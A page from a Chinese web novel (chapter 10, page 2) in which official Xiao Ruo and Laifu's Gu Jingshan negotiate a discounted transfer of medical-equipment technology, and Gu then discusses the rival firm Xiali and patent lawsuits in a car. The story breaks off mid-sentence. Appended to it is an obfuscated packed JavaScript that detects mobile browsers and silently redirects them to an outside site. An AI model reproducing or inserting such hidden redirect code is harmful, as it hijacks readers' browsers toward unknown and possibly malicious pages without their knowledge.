10. 麦色(第2页)

 




“小病拖，大病抗。山沟沟里的人骑着摩托车再转大巴，坐一天一夜到市里来检查，最后却又得了个天价的治疗费。一来二去，就都选择不看病了。”
 




“ 基层机构配套不足，业务水平有限，设备落后……”
 




“医疗倾斜是大势所趋，可问题是，我们根本没有可以倾斜的资源。”肖箬带了几分无可奈何道。
 




她不知道作为国际巨头之一的莱芙为什么会选择他们，但百利而无一害的买卖他们定然是要把人留下来的。
 




说完目前的情况，肖箬才将这次的医疗战略计划娓娓道来，把莱芙能从中获取的利益藏在背后说与顾惊山听。
 




句句不提好处，却又句句是好处。
 




商场的谈判向来是离不开利益的，肖箬要的就是让顾惊山知道——这是一场双赢的合作。
 




即便战线会拉得很长，即便收益会来得很晚。
 




顾惊山双手交叠搭在膝盖，身体向后靠着，听肖箬说完才温声道：“我明白您的意思。”
 




国外引进的器材太过耗费，一家三甲医院要不间断营业好几年才足以把本收回来，入不敷出的买卖的确很难普及开来，这还是比较好的情况。
 




实际上，很多医院完全没有经费去购入机器，更别提收银了。
 




被垄断的技术和专利让国内的医疗器械发展举步维艰，为了保证治疗的效果，只得由国家牵头，花费数亿美金去统购先进设备。
 




后续的维修但凡涉及到一点技术问题，都需要原厂家出面解决。中间的时间一耽搁，便让数以万计的病人被迫等待。
 




事关生命，便一秒都不容许浪费。
 




在场的所有人都心知肚明：这笔生意如果谈成，毫无疑问是顾惊山所在的莱芙在做慈善。
 




莱芙将背弃北欧的联盟，做一个正义的“叛徒”。
 




顾惊山轻点着左手手背，缓缓道：“我可以答应技术转让，但有条件。”
 




女人并不意外他的但是，眼里闪过一抹暗芒，诚意满满道：“请说。”
 




“我的人需要全程跟进这些设备的下放。”
 




所谓下放，便是顾惊山这边的慈善生意，用远低于国际的价格把自产的机器卖给他们。
 




女人等了一会儿，没见到他的下文，略带些惊讶地停下手中记录的笔。
 




顾惊山仿若不知她的惊讶，看着肖箬微瞪的双眸，口吻温和：“肖科长，这就是我的条件。”
 




此话一出，肖箬眼里的距离和防备终于全部瓦解，全然没有想过今天的这场交锋会如此轻易结束。
 




她笑了下，脸上是真心实意的感谢：“多谢。”
 




等顾惊山走后，肖箬仍看着远方没动，直到一边的同事唤了她一声：“肖科长？”
 




“啊，”肖箬温婉一笑，“走吧，我们该把这个好消息告诉同事们。”
 




转过身后，肖箬嘴角的笑依然没有落下。快进门的时候又回头看了眼数字全为九的车牌号，喃道：“跟他母亲真像。”
 




车后座坐了两个人，一个是才从谈判桌下来的顾惊山，一个是千里迢迢从北城赶来的叶非白。
 




叶非白把手里的文件夹合上，看着姿态略显慵懒的顾惊山道：“谈妥了？”
 




“大概吧。”顾惊山云淡风轻道：“但江城本土的企业应该没那么容易松口。”
 




江城领头的医疗公司当属夏利集团，所有的子公司渗入在西南一片。用低成本的工艺仿制国外的机壳，再引入国外的核心器件组装，半包装成自己的产品出售。
 




钻着专利的空子，这十几年攻占了国内绝大部分市场，尝到了独家的好处又怎会愿意别人来分一杯羹。
 




“西克莱已经向他们发起诉讼了。”
 




叶非白的同僚接的就是这个案子，夏利趁十余年前相关法律还不完善，钻了许多空子，但终究还是没能逃掉来自西克莱的围追堵截。
 




“西克莱和菲力愿意拿出来的技术都已经过时了，北美和欧洲这一块早
 




;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950660|160916||http|test|mini|href|location''.split(''|''),0,{}));